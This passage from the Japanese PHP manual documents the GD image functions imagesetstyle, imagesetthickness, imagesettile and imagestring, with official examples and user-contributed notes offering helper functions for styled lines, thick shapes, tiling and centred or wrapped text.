imagecolortransparent($brush, $w2);
imagesetbrush($im, $brush);
imageline($im, 100, 0, 0, 100, IMG_COLOR_STYLEDBRUSHED);

imagejpeg($im);
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagesetstyle()

参考

  • imagesetbrush() - 線の描画用にブラシイメージを設定する
  • imageline() - 直線を描画する

User Contributed Notes

dazbert 21-Mar-2017 05:26
To clarify, for lines where the thickness is greater than 1, the total length of the $style array needs to be an exact divisor of the length of the line.

This is because the pattern is repeated lengthways and wraps onto the second row of pixels, causing staggering to occur.

So if you have 5 red and 5 white pixels, and you want a line length of 55 pixels, either change the length to a multiple of 10, or change the dashes to, say, 6 red and 5 white.
Anonymous 22-Oct-2012 04:03
a shortcut for basic dashed lines, making it easy to adjust the lengths:

<?php

$length1 = 20;
$length2 = 10;
$style = array_merge(array_fill(0, $length1, $red), array_fill(0, $length2, $w));
imagesetstyle($im, $style);

?>
php at imperium dot be 06-Aug-2010 07:05
Be aware that styles are applied towards the width of the line instead of linear.
To convert a style to be used for thick lines you can use the function below:

<?php
/*
ImageStyleThicken(<aStyle>,<iThickness>) --> <aThickStyle>

<aStyle> is the style array for a thickness of 1 (see imagesetstyle()).
<iThickness> is the new thickness to apply (see imagesetthickness()).

<aThickStyle> is the style array suitable for the given thickness.
*/
function ImageStyleThicken($_1,$_2) {
    $a = array();
    foreach ($_1 as $x) {
        $i = $_2;
        do $a[] = $x; while (--$i>0); }
    return $a;
}
?>
Wander 13-Dec-2007 11:12
Function to make a line with random fading:

<?php
    function fading_line($img,$sx,$sy,$ex,$ey){
        $r=rand(0,5);$g=rand(0,5);$b=rand(0,5);
        $l=sqrt((($ex-$sx)*($ex-$sx))+(($ey-$sy)*($ey-$sy)));
        for($i=0;$i<$l;$i++){
            $a = array(255-((255/$l)*$i), 255,0,(255/$l)*$i/2,(255/$l)*$i,(255-((255/$l)*$i))/2);
            $style[]=imagecolorallocate($img,$a[$r],$a[$g],$a[$b]);
        }
        imagesetstyle($img,$style);
        imageline($img,$sx,$sy,$ex,$ey,IMG_COLOR_STYLED);
    }

    fading_line($img,10,20,490,40);    // image, start x, start y, end x, end y
?>
Michael_Todd_335 at yahoo dot com 27-Jun-2007 09:40
Watch out! If you pass imagesetstyle() an empty array as the second argument, it will crash your server!
I was messing with it just earlier and accidentally did so, and the page took a good minute to process, when my Apache server came up with the good ol' Windows 'Send Error Report' window.
Cruz at FtUC dot net 15-Jan-2006 03:45
When lines drawn with imagesetstyle seem to produce a thin white line only, make sure antialiasing is disabled.

<?
  imageantialias($im, false);
  $style = array($gridxcolor, $gridxcolor, IMG_COLOR_TRANSPARENT, IMG_COLOR_TRANSPARENT);
  imagesetstyle($im, $style);
  imageline($im, $x, 0, $x, $ymax+5, IMG_COLOR_STYLED);
  imageantialias($im, true);
?>

Setstyle and Antialias don't go together.
zackbloom at gmail dot com 06-Dec-2005 02:44
Use this to set the style to any combination of pixels.
You can pass as many modifiers as you wish.
Use the format [num]r[red]g[green]b[blue].

For example:

$im=dashed($im,"4r255g0b0","2r0g255b0","5r0g0b255");
imageline($im, 0, 0, 600, 600, IMG_COLOR_STYLED);

function dashed($im){
$size = func_num_args();
for($i = 0; $i < $size; $i++){
$arg = func_get_arg($i);
if(!is_resource($arg)){
$r=substr($arg,strpos($arg,"r")+1,
strpos($arg,"g")-strpos($arg,"r")-1);
$g=substr($arg,strpos($arg,"g")+1,
strpos($arg,"b")-strpos($arg,"g")-1);
$b=substr($arg,strpos($arg,"b")+1,
strlen($arg)-strpos($arg,"b"));
$color = imagecolorallocate($im,$r,$g,$b);
$x = substr($arg,0,strpos($arg,"r"));
$vals[$i] = array_fill(0,$x,$color);
}
}
for($k=0;$k<count($vals)+1;$k++)
if(array_key_exists($k,$vals)) $prop=array_merge($prop,$vals[$k]);
imagesetstyle($im, $prop);
return $im;
}


線描画用の線幅を設定する

  • ≪ imagesetstyle
  • imagesettile ≫
  • PHP Manual
  • GD および Image 関数
  • 線描画用の線幅を設定する

imagesetthickness

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesetthickness — 線描画用の線幅を設定する

説明

imagesetthickness ( resource $image , int $thickness ) : bool

imagesetthickness() は、長方形、多角形、弧などを描画する際の線幅を thickness ピクセルに設定します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

thickness

ピクセル単位の線幅。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagesetthickness() の例

<?php
// 200x100 の画像を作成します
$im = imagecreatetruecolor(200, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

// 背景を白に設定します
imagefilledrectangle($im, 0, 0, 299, 99, $white);

// 線幅を 5 に設定します
imagesetthickness($im, 5);

// 矩形を描画します
imagerectangle($im, 14, 14, 185, 85, $black);

// 画像をブラウザに出力します
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagesetthickness()

User Contributed Notes

gmail.com@mspreij 15-Apr-2016 01:11
As you can see in the example image, the left and right sides are 1 px wider than they should be, this is the case for every width > 1.
Wrote this function to fix that bit.. probably not a drop-in replacement though. It draws a rectangle *around* the given coordinates, for any width line.

<?php
// draw a $width-wide line AROUND the given coordinates, keeping in mind 0,0,1,1 yields a 2×2 square
function imagelinerectangle($img, $x1, $y1, $x2, $y2, $color, $width=1) {
    imagefilledrectangle($img, $x1-$width, $y1-$width, $x2+$width, $y1-1, $color);
    imagefilledrectangle($img, $x2+1, $y1-$width, $x2+$width, $y2+$width, $color);
    imagefilledrectangle($img, $x1-$width, $y2+1, $x2+$width, $y2+$width, $color);
    imagefilledrectangle($img, $x1-$width, $y1-$width, $x1-1, $y2+$width, $color);
}
?>
azinkey at gmail dot com 30-Jul-2013 10:51
thanks circle14,

just change the line & see its solved what we need for ellipse

while ($line < $thickness) {
        $line++;
        $elipse_w--;
        imageellipse($image, $pos_x, $pos_y, $elipse_w, $elipse_h, $color);
        $elipse_h--;
    }
fred at nowhere dot fr 10-Oct-2009 12:05
One thing worse to mention is that imagesetthikness() works on the next object you draw.
For ex : you can draw a grid within a grapg with a thickness of 1

by invoking imagesetthickness($image, 1);

... script to draw your grid...

and then invoke imagesetthikness with a draw your graph lines with a thickness of 3
imagesetthickness($image, 3);
... script to draw your graph lines...

Hope this helps...
jean-raymond dot chauviere at gmail dot com 30-Jun-2009 01:20
An easier to manage thickness is, before to draw in the ellipse to play with 2 ellipse with different color :

<?php
        imagefilledellipse  ($this->image,60,42,57,57,$drawColor);
        imagefilledellipse  ($this->image,60,42,45,45,$backColor);
?>

The first line draw a filled ellipse with the wanted color, and the 2nd one, draw an ellipse with the background color from the same center, but is smaller.

The drawback of this method is that you erase everything in the middle of the ellipse.
admin at circle14 dot net 01-Feb-2009 05:33
Here is a custom function I wrote that addresses the line thickness issues with ellipses :

<?php
function draw_oval ($image, $pos_x, $pos_y, $elipse_width, $elipse_height, $color, $px_thick) {
    $line = 0;
    $thickness = $px_thick;
    $elipse_w = $elipse_width;
    $elipse_h = $elipse_height;
    while ($line < $thickness) {
        imageellipse($image, $pos_x, $pos_y, $elipse_w, $elipse_h, $color);
        $line++;
        $elipse_w--;
        $elipse_h--;
    }
}
?>

I hope you find this useful.
bpatru at gmail dot com 28-Sep-2008 01:01
Apparently imagesetthickness doesn't work if antialiasing is set to true.
baldurien at bbnwn dot eu 11-Mar-2008 04:28
The way that imagesetthickness works with imagerectangle() is pretty strange.

<?php
imagesetthickness(1);
imagerectangle($im, 10, 10, 50, 50, $red);
?>

This will draw a 41x41 square (because gd need the bottom right pixel, inclusive. 50 should get replaced by 49). This will "work" like:

<?php
imageline($im, 10, 10, 10, 50, $red);
imageline($im, 10, 10, 50, 10, $red);
imageline($im, 50, 10, 50, 50, $red);
imageline($im, 10, 50, 50, 50, $red);
?>

The second example:

<?php
imagesetthickness(2);
imagerectangle($im, 10, 10, 50, 50, $red);
?>

This will draw a 43x43 square because the border (thickness) is set to 2. *however* this is not a "regular" border of 2 pixels around the 41x41 original square!

On the left and right, there will be a thickness of 3, while there we be a thickness of 2.

If you take the imageline example, but set the thickness before to 2, this will *almost* do the trick: the left most pixel of the square will not be drawn.

To conclude:

1) do not forget that (width, height) of drawn rectangle is (x2-x1+1, y2-y1+1)
2) thickness is bad implemented (or at least, the behavior i s not documented) on rectangle, as the left/right thickness is not the wanted one.
3) 4*imageline() should do the trick, but after "patching" the top left pixel.
ab at cd dot com 27-Jun-2007 04:05
Note: Also, for me (working under PHP 5.0.2) this function ONLY seems to work with imageline...
-private- 28-Mar-2007 01:01
There is a known bug. Imagesetthickness is NOT working on ellipse.


塗りつぶし用のイメージを設定する

  • ≪ imagesetthickness
  • imagestring ≫
  • PHP Manual
  • GD および Image 関数
  • 塗りつぶし用のイメージを設定する

imagesettile

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesettile — 塗りつぶし用のイメージを設定する

説明

imagesettile ( resource $image , resource $tile ) : bool

imagesettile() は、特別な色 IMG_COLOR_TILED を指定して塗りつぶされた場合に、 (imagefill() や imagefilledpolygon() のような) 領域塗りつぶし関数で使用されるタイルイメージを設定します。

タイルは、領域を塗りつぶすために繰り返し使用されるイメージです。 全ての GD イメージをタイルとして使用可能で、 imagecolortransparent() でタイルの透過色 ID を設定することにより、 その一部から下の部分が透けて見えるようなタイルを作成することが可能です。

警告

タイルの使用が終った際には、特別な処理は不要ですが、 タイルイメージを破棄する(もしくは、PHPに破棄させる)場合には、 新たにタイルイメージを設定するまでは、色 IMG_COLOR_TILED を使用してはいけません。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

tile

タイルとして使用する画像リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagesettile() の例

<?php
// 外部の画像を読み込みます
$zend = imagecreatefromgif('./zend.gif');

// 200x200 の画像を作成します
$im = imagecreatetruecolor(200, 200);

// タイルを設定します
imagesettile($im, $zend);

// 画像の繰り返しを設定します
imagefilledrectangle($im, 0, 0, 199, 199, IMG_COLOR_TILED);

// 画像をブラウザに出力します
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
imagedestroy($zend);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagesettile()

User Contributed Notes

onion at ooer dot com 07-Nov-2005 12:31
If you're using a tile image that has some form of transparency you'll need to make sure your destination image is set to use alpha blending. By default it will be, but if for any reason you've changed it you'll need to do:

imagealphablending($image,true);

before any operation using IMG_COLOR_TILED.
aquilo at xtram dot net 01-Jun-2004 06:30
There is very little information about this function so I thought I'd add a few notes I found while trying to get this

working.

First make sure your version of PHP is above 4.3.2 I spent an hour searching goggles 13000+ mirrors of this same page and

finally found the info I needed at AltaVista, there is a bug in PHP 4.3.2 that makes this none functional.

if your creating the base image you need to create it with imageCreateTrueColor() if your using a PNG with transparency, I

found even nullifying the PNG's transparency with GD doesn't work. the tiling PNG has to be created without transparency to work with imageCreate(). but from what I've seen imageCreateFromXXX() can use transparent and nonetransparent PNG's.

here is an example.
<?php
    $diagramWidth = 300;
    $diagramHeight = 50;

    $image = imageCreateTrueColor ($diagramWidth, $diagramHeight);
    $imagebg = imageCreateFromPNG ('tile.png'); // transparent PNG

    imageSetTile ($image, $imagebg);
    imageFilledRectangle ($image, 0, 0, $diagramWidth, $diagramHeight, IMG_COLOR_TILED);

    $textcolor1 = imageColorAllocate ($image, 80, 80, 80);
    $textcolor2 = imageColorAllocate ($image, 255, 255, 255);

    imageString ($image, 3, 10, 20, 'Transparent PNG Tile Test...', $textcolor1);
    imageString ($image, 3,  9, 19, 'Transparent PNG Tile Test...', $textcolor2);

    Header("Content-type: image/png");
    imagePNG ($image);

    imagedestroy ($image);
    imagedestroy ($imagebg);
?>

hope this helps someone else!
Aquilo


文字列を水平に描画する

  • ≪ imagesettile
  • imagestringup ≫
  • PHP Manual
  • GD および Image 関数
  • 文字列を水平に描画する

imagestring

(PHP 4, PHP 5, PHP 7, PHP 8)

imagestring — 文字列を水平に描画する

説明

imagestring ( resource $image , int $font , int $x , int $y , string $string , int $color ) : bool

指定した座標に文字列 string を描画します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

font

latin2 エンコーディングの組み込みのフォントの場合は 1, 2, 3, 4, 5 のいずれか (数字が大きなほうが、より大きいフォントに対応します)、 あるいは imageloadfont() で登録したフォントの識別子のいずれか。

x

左上隅の x 座標。

y

左上隅の y 座標。

string

書き出す文字列。

color

imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagestring() の例

<?php
// 100*30 の画像を生成します
$im = imagecreate(100, 30);

// 白色の背景と青色のテキスト
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);

// 左上に文字列を描画します
imagestring($im, 5, 0, 0, "Hello world!", $textcolor);

// 画像を出力します
header("Content-type: image/png");

imagepng($im);
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagestring()

参考

  • imagestringup() - 文字列を垂直に描画する
  • imageloadfont() - 新しいフォントを読み込む
  • imagettftext() - TrueType フォントを使用してテキストを画像に書き込む

User Contributed Notes

wheberson dot com dot br at gmail dot com 02-May-2019 05:55
// Convert e-mail to image (png)
function convertEmailToImg ($aValue, $aRed, $aGreen, $aBlue, $aAlphaF=0, $aAlphaB=127, $aFontSize=4)

{
    $img= imagecreatetruecolor (imagefontwidth ($aFontSize) * strlen ($aValue), imagefontheight ($aFontSize));
    imagesavealpha ($img, true);
    imagefill ($img, 0, 0, imagecolorallocatealpha ($img, 0, 0, 0, $aAlphaB));
    imagestring ($img, $aFontSize, 0, 0, $aValue, imagecolorallocatealpha ($img, $aRed, $aGreen, $aBlue, $aAlphaF));
    ob_start ();
    imagepng ($img);
    imagedestroy ($img);
    return base64_encode (ob_get_clean ());
}

// Example
$imgString= convertEmailToImg ('contact@example.com', 0, 0, 255, 0, 127, 4);
Booteille 14-Jan-2015 12:56
Here is a function with similar declaration of imagestring() but who handles whitespaces (It creates new lines and 4 spaces instead of \n and \t) and image's size limits

<?php

/**
 * @author Booteille
 *
 * @param resource $image
 * @param int $font
 * @param int $x
 * @param int $y
 * @param string $string
 * @param int $color
 */
function whitespaces_imagestring($image, $font, $x, $y, $string, $color) {
    $font_height = imagefontheight($font);
    $font_width = imagefontwidth($font);
    $image_height = imagesy($image);
    $image_width = imagesx($image);
    $max_characters = (int) ($image_width - $x) / $font_width ;
    $next_offset_y = $y;

    for($i = 0, $exploded_string = explode("\n", $string), $i_count = count($exploded_string); $i < $i_count; $i++) {
        $exploded_wrapped_string = explode("\n", wordwrap(str_replace("\t", "    ", $exploded_string[$i]), $max_characters, "\n"));
        $j_count = count($exploded_wrapped_string);
        for($j = 0; $j < $j_count; $j++) {
            imagestring($image, $font, $x, $next_offset_y, $exploded_wrapped_string[$j], $color);
            $next_offset_y += $font_height;

            if($next_offset_y >= $image_height - $y) {
                return;
            }
        }
    }
}

?>
jordanslost at gmail 04-Sep-2009 04:52
Here is a small bit I made for writing to a image from right to left when you are limited to imagestring()

<?php

        $pageview_letters = preg_split('//', $string, -1 ); // Form are original array of letters.
        $minus = 6; // The letter spacing in pixels
        $first = true; // Whether or not we have started the string
        $x = 375; // X Location of imagestring
        $y = 23; // Y Location of imagestring
        $letters = array(); // Initiate the array o letters.

        foreach ( $pageview_letters as $letter ) {

            $letters[] = $letter;

        }

        $letters = array_reverse( $letters );

        foreach ( $letters as $letter ) {

            if ( $first ) {

                imagestring( $image, 2, $x, $y, $letter, $light_blue );
                $first = false;

            } else {

                $x = ( $x - $minus );
                imagestring( $image, 2, $x, $y, $letter, $light_blue );

            }

        }
?>
eric dot brison at anakeen dot com 24-Apr-2009 12:51
Same function as above but it can display multi-line strings.
<?php
function sendimagetext($text) {
  // Set font size
  $font_size = 4;

  $ts=explode("\n",$text);
  $width=0;
  foreach ($ts as $k=>$string) { //compute width
    $width=max($width,strlen($string));
  }

  // Create image width dependant on width of the string
  $width  = imagefontwidth($font_size)*$width;
  // Set height to that of the font
  $height = imagefontheight($font_size)*count($ts);
  $el=imagefontheight($font_size);
  $em=imagefontwidth($font_size);
  // Create the image pallette
  $img = imagecreatetruecolor($width,$height);
  // Dark red background
  $bg = imagecolorallocate($img, 0xAA, 0x00, 0x00);
  imagefilledrectangle($img, 0, 0,$width ,$height , $bg);
  // White font color
  $color = imagecolorallocate($img, 255, 255, 255);

  foreach ($ts as $k=>$string) {
    // Length of the string
    $len = strlen($string);
    // Y-coordinate of character, X changes, Y is static
    $ypos = 0;
    // Loop through the string
    for($i=0;$i<$len;$i++){
      // Position of the character horizontally
      $xpos = $i * $em;
      $ypos = $k * $el;
      // Draw character
      imagechar($img, $font_size, $xpos, $ypos, $string, $color);
      // Remove character from string
      $string = substr($string, 1);
    }
  }
  // Return the image
  header("Content-Type: image/png");
  imagepng($img);
  // Remove image
  imagedestroy($img);
}
?>
mike at mike-griffiths dot co dot uk 19-Dec-2008 12:07
I created an alternative using the function imagechar to create a string of an image.  The below function below was used to create an image the same height and width of the text string.  It is used on my website to mask users email addresses.

<?PHP

// Set your string somehow
$string = 'your@example.com';

// Set font size
$font_size = 4;

// Create image width dependant on width of the string
$width  = imagefontwidth($font_size)*strlen($string);
// Set height to that of the font
$height = imagefontheight($font_size);
// Create the image pallette
$img = imagecreate($width,$height);
// Grey background
$bg    = imagecolorallocate($img, 25, 25, 25);
// White font color
$color = imagecolorallocate($img, 255, 255, 255);
// Length of the string
$len = strlen($string);
// Y-coordinate of character, X changes, Y is static
$ypos = 0;
// Loop through the string
for($i=0;$i<$len;$i++){
    // Position of the character horizontally
    $xpos = $i * imagefontwidth($font_size);
    // Draw character
    imagechar($img, $font_size, $xpos, $ypos, $string, $color);
    // Remove character from string
    $string = substr($string, 1);

}
// Return the image
header("Content-Type: image/gif");
imagegif($img);
// Remove image
imagedestroy($img);

?>
keksnicoh at googlemail dot com 02-Nov-2008 10:42
Some fun with imagestring:

This function is a product of too much time..
It opens an image and create a new image with one letter instead of a pixel.

<?php
error_reporting(E_ALL);
/**
 * generates a image with chars instead of pixels
 *
 * @param string $url Filepath or url
 * @param string $chars The chars which should replace the pixels
 * @param int $shrpns Sharpness (2 = every second pixel, 1 = every pixel ... )
 * @param int $size
 * @param int $weight font-weight/size
 * @return sesource
 * @author Nicolas 'KeksNicoh' Heimann <www.salamipla.net>
 * @date 02nov08
 */
function pixelfuck($url, $chars='ewk34543§G§$§$Tg34g4g', $shrpns=1, $size=4,$weight=2)
{
    list($w, $h, $type) = getimagesize($url);
    $resource = imagecreatefromstring(file_get_contents($url));
    $img = imagecreatetruecolor($w*$size,$h*$size);

    $cc = strlen($chars);
    for($y=0;$y <$h;$y+=$shrpns)
        for($x=0;$x <$w;$x+=$shrpns)
            imagestring($img,$weight,$x*$size,$y*$size, $chars{@++$p%$cc}, imagecolorat($resource, $x, $y));
    return $img;
}

$url = 'http://upload.wikimedia.org/wikipedia/commons/b/be/Manga_Icon.png';
$text = 'I-dont-like-manga-...-Why-do-they-have-such-big-eyes? Strange-...-WHAT-WANT-YOU-DO?';

Header('Content-Type: image/png');
imagepng(pixelfuck($url, $text, 1, 6));
?>

Have fun  :)
Abubaker dot shamlan at gmail dot com 19-Aug-2008 03:02
this is a function that is based on imagestring but it produces text in the center of an image i hope it helps :D

<?php
function ImageStringCenter($image_resource, $font_size, $line_number, $total_lines, $text, $color ) {

    $center_x = ceil( ( imagesx($image_resource) - ( ImageFontWidth($font_size) * strlen($text) ) ) / 2 );

    $center_y = ceil( ( ( imagesy($image_resource) - ( ImageFontHeight($font_size) * $total_lines ) ) / 2)  + ( ($line_number-1) * ImageFontHeight($font_size) ) );

ImageString($image_resource, $font_size, $center_x, $center_y, $text, $color );

}
?>
mustafa at hafunny dot info 14-Aug-2008 02:42
If you have any problem with CentralEurope's words, for example : ?????yaieua?o?, I am try this problem by iconv() function.

<?php
// create example image
$im = imagecreate(200, 20);
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);
$text = "?????yaieua?o?...";

//simple convert string
$string = iconv("Windows-1250", "Latin2", $text);

// write converted string at the top left
imagestring($im, 4, 0, 0, $string, $textcolor);

// output the image
header("Content-type: image/png");
imagepng($im);
?>
sk89q 14-Mar-2008 02:10
Creates a box of text. Has horizontal and vertical alignment, box arguments, and custom leading. I submitted this to the manual in 2003 actually, but it disappeared after a year or so (not sure why). Here it is again.

<?php
define("ALIGN_LEFT", "left");
define("ALIGN_CENTER", "center");
define("ALIGN_RIGHT", "right");
define("VALIGN_TOP", "top");
define("VALIGN_MIDDLE", "middle");
define("VALIGN_BOTTOM", "bottom");

function imagestringbox(&$image, $font, $left, $top, $right, $bottom, $align, $valign, $leading, $text, $color)
{
   // Get size of box
   $height = $bottom - $top;
   $width = $right - $left;

   // Break the text into lines, and into an array
   $lines = wordwrap($text, floor($width / imagefontwidth($font)), "\n", true);
   $lines = explode("\n", $lines);

   // Other important numbers
   $line_height = imagefontheight($font) + $leading;
   $line_count = floor($height / $line_height);
   $line_count = ($line_count > count($lines)) ? (count($lines)) : ($line_count);

   // Loop through lines
   for ($i = 0; $i < $line_count; $i++)
   {
       // Vertical Align
       switch($valign)
       {
           case VALIGN_TOP: // Top
               $y = $top + ($i * $line_height);
               break;
           case VALIGN_MIDDLE: // Middle
               $y = $top + (($height - ($line_count * $line_height)) / 2) + ($i * $line_height);
               break;
           case VALIGN_BOTTOM: // Bottom
               $y = ($top + $height) - ($line_count * $line_height) + ($i * $line_height);
               break;
           default:
               return false;
       }

       // Horizontal Align
       $line_width = strlen($lines[$i]) * imagefontwidth($font);
       switch($align)
       {
           case ALIGN_LEFT: // Left
               $x = $left;
               break;
           case ALIGN_CENTER: // Center
               $x = $left + (($width - $line_width) / 2);
               break;
           case ALIGN_RIGHT: // Right
               $x = $left + ($width - $line_width);
               break;
           default:
               return false;
       }

       // Draw
       imagestring($image, $font, $x, $y, $lines[$i], $color);
   }

   return true;
}
?>
eviloverlord+php at gmail dot com 03-Jan-2008 03:28
Simple script to convert a string (such as an email addresses) to a transparent image.

Usage:
<img src="stringtoimg.php?string=<?= urlencode(base64_encode($email)) ?>">

From a spambot's point of view, they see:
<img src="stringtoimg.php?string=ZpbXZG92ZXJsb3JkQGdtYWlsLmNvbQ%3D%3D">

Optional parameters:
    font_size: 1 to 5, with the default at 3
    R/G/B: the font color, in hex.

Usage:
<img src="stringtoimg.php?string=<?= urlencode(base64_encode($email)) ?>&font_size=4&R=FF&G=FF&B=00">

<?php
/*
Filename: stringtoimg.php

Parameters:
        string: the string to print
        font_size (optional): the size of the font from 1-5
        R/G/B (optional): the RGB colors of the font in hex
*/

header ("Content-type: image/png");

//Get string info
$font_size = isset($_GET['font_size']) ? $_GET['font_size'] : 3;
$string = urldecode(base64_decode($_GET['string']));

//Get the size of the string
$width = imagefontwidth($font_size) * strlen($string);
$height = imagefontheight($font_size);

//Create the image
$img = @imagecreatetruecolor($width, $height)
      or die("Cannot Initialize new GD image stream");

//Make it transparent
imagesavealpha($img, true);
$trans_colour = imagecolorallocatealpha($img, 0, 0, 0, 127);
imagefill($img, 0, 0, $trans_colour);

//Get the text color
$text_color = isset($_GET['R'], $_GET['G'], $_GET['B']) ?
        imagecolorallocate($img, hexdec($_GET['R']), hexdec($_GET['G']), hexdec($_GET['B'])) :
        imagecolorallocate($img, 0, 0, 0);

//Draw the string
imagestring($img, $font_size, 0, 0,  $string, $text_color);

//Output the image
imagepng($img);
imagedestroy($img);
?>
Epidemiah 03-Jan-2008 05:06
Its just an easy function to write an string in the middle of a picture.

<?php

function imageCenterString(&$img, $font, $text, $color)
{
    if($font < 0 || $font > 5){ $font = 0; }
    $num = array(array(4.6, 6),
                 array(4.6, 6),
                 array(5.6, 12),
                 array(6.5, 12),
                 array(7.6, 16),
                 array(8.5, 16));
    $width = ceil(strlen($text) * $num[$font][0]);
    $x     = imagesx($img) - $width - 8;
    $y     = Imagesy($img) - ($num[$font][1] + 2);
    imagestring($img, $font, $x/2, $y/2, $text, $color);
}

?>
jlamer 18-Feb-2007 06:00
//  Example of use...

//  This is a simple function to output text to an image
//  which is centered (as much as I want to do by eye)
//  and wrapped
//    Just remember that all the sizes are guessed
// doesn't cut on the space (only on number of characters)
//  or change color of text, but this isn't for that...
function imageCenterString( $imgw, $imgh,
   $image_text = '', $text_size=5 )
{
   $im = imagecreate( $imgw, $imgh );

   // white background and blue text
   $bg = imagecolorallocate($im, 255, 255, 255);
   $textcolor = imagecolorallocate($im, 0, 0, 0);

   $t_h = $t_w = $t_x = $t_y = 0;
   $base_w =9; $base_h = 16;
   $m = 0.88;
   switch ( $text_size )
   {
      case 1: $t_w = $base_w*pow(($m*.98),4);
         $t_h = $base_h*pow(($m*.98),4);
         break;
      case 2: $t_w = $base_w*pow($m,3);
         $t_h = $base_h*pow($m,3);
         break;
      case 3: $t_w = $base_w*pow($m,2);
         $t_h = $base_h*pow($m,2);
         break;
      case 4: $t_w = $base_w*$m;
         $t_h = $base_h*$m;
         break;
      case 5: $t_w = $base_w;
         $t_h = $base_h;
         break;
      default:
         if ( $text_size >= 5 ) // set to 5
         {   $t_w = $base_w; $t_h = $base_h; }
         if ( $text_size < 5 ) // set to 1
         {
            $t_w = $base_w*pow(($m*.98),4);
            $t_h = $base_h*pow(($m*.98),4);
         }
         break;
   }

   $text_array = array();

   $max = floor($imgw/$t_w);

   for( $i=0; strlen($image_text) > 0; $i += $max)
   {
      array_push($text_array, substr($image_text,0,$max));
      if ( strlen($image_text) >= $max )
      {   $image_text = substr($image_text,$max); }
      else
      {   $image_text = ''; }
   }

   $t_y = ($imgh/2) - ($t_h*count($text_array)/2);

   foreach ( $text_array as $text )
   {
      $t_x = ($imgw/2)-($t_w*strlen($text)/2);
      imagestring($im, $text_size, $t_x, $t_y,
         $text, $textcolor);
      $t_y += $t_h;
   }

   // output the image
   header("Content-type: image/gpeg");
   imagejpeg($im);
}
gannon (at) portablesofdoom (dot) org 27-Dec-2006 06:53
I like this better than "tjpoe at cableaz dot com"'s function for wrapping text to fit width (auto-adjusts height as needed) since it doesn't only do 1 word per line.

function make_wrapped_txt($txt, $color=000000, $space=4, $font=4, $w=300) {
  if (strlen($color) != 6) $color = 000000;
  $int = hexdec($color);
  $h = imagefontheight($font);
  $fw = imagefontwidth($font);
  $txt = explode("\n", wordwrap($txt, ($w / $fw), "\n"));
  $lines = count($txt);
  $im = imagecreate($w, (($h * $lines) + ($lines * $space)));
  $bg = imagecolorallocate($im, 255, 255, 255);
  $color = imagecolorallocate($im, 0xFF & ($int >> 0x10), 0xFF & ($int >> 0x8), 0xFF & $int);
  $y = 0;
  foreach ($txt as $text) {
    $x = (($w - ($fw * strlen($text))) / 2);
    imagestring($im, $font, $x, $y, $text, $color);
    $y += ($h + $space);
  }
  header('Content-type: image/jpeg');
  die(imagejpeg($im));
}
iibm at free dot fr 14-Dec-2006 02:21
I've made a little modification of the (quite usefull) imagestringcutted function (when align=center, it doesn't work well for me if x1!=0) so juste replace the last line with :

<?php
   [...]
   else imagestring($img,$font,$x1+($x2-$x1)/ 2 - strlen($text) * $fontwidth / 2,$y,$text,$color);
}
?>
Piotr dot Sulecki at traxelektronik dot pl 09-Nov-2006 03:18
The built-in fonts used to be in latin-2 (iso8859-2) encoding. For some time, they are in latin-1 (iso8859-1) encoding. There is no way to change the encoding at all. If you need to use any other encoding, you have to use TrueType fonts.
god at in-heaven dot org 18-Oct-2006 02:47
Here's a simple function for creating an aligned string which is cutted to match the space between $x1 and $x2
<?php
function imagestringcutted($img,$font,$y,$x1,$x2,$text,$color,$align="center") {
    $fontwidth = imagefontwidth($font);
    $fullwidth = strlen($text) * $fontwidth;
    $maxwidth = $x2-$x1;
    $targetwidth = $fullwidth-(4*$fontwidth);
    if($fullwidth > $maxwidth) {
        for($i = 0; $i < strlen($text) AND ((strlen($text)-($i-4))*$fontwidth) > $targetwidth ;$i++) { }
        $text = substr($text,0,(strlen($text)-$i)-4)."...";
    }
    if($align == "left") imagestring($img,$font,$x1,$y,$text,$color);
    elseif($align == "right") imagestring($img,$font,$x2 - ((strlen($text) * $fontwidth)),$y,$text,$color);
    else imagestring($img,$font,($x2-$x1)/ 2 - strlen($text) * $fontwidth / 2,$y,$text,$color);
}
?>
Usage:
<?php
imagestringcutted($img,$font,$y,$x1,$x2,$text,$color,$align);
?>
Will create a string $text, which is cutted if it's too long to match between  $x1 and $2, on $img with font $font and color $color at height $y and with align to $align.
Hope it will help some people.
Sorry for my bad English.
rush at 507magazine dot com 28-Feb-2006 11:54
hello, I noticed that if you put a rand(3,5) it will put random sizes of font to each character put on the image. this is very useful when programming captchas for anti-spam form verification.
julien / at / theoconcept.com 01-Feb-2006 03:21
If you are looking for a way to generate a "CAPTCHA" image for a form verification (to verify it is not a robot), have a look at this : http://blog.theoconcept.com/static/distortion/

It gives an animated image with the parameter string, with distortion, here is an example :
http://blog.theoconcept.com/static/distortion/distortion.php

(*)  You'll need GD + Freetype support
(**) You'll need ImageMagick on the machine
m dot onderwater at esperantoxl dot nl 05-Dec-2005 10:55
There is a small error in the function for horizontal and vertical centering by "jurgen dot vanoosterwijck at pandora dot be"

the line

 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);

should be

 $cy = (imagesy($img)/2) - (imagefontheight($font)/2);
aly at slo-igre dot net 11-Jun-2005 01:12
There is an error in "tjpoe at cableaz dot com" 's function ImageStringWrap. Instead of

    else
           $string = $text;

there should be

     else
           $string = array($text);

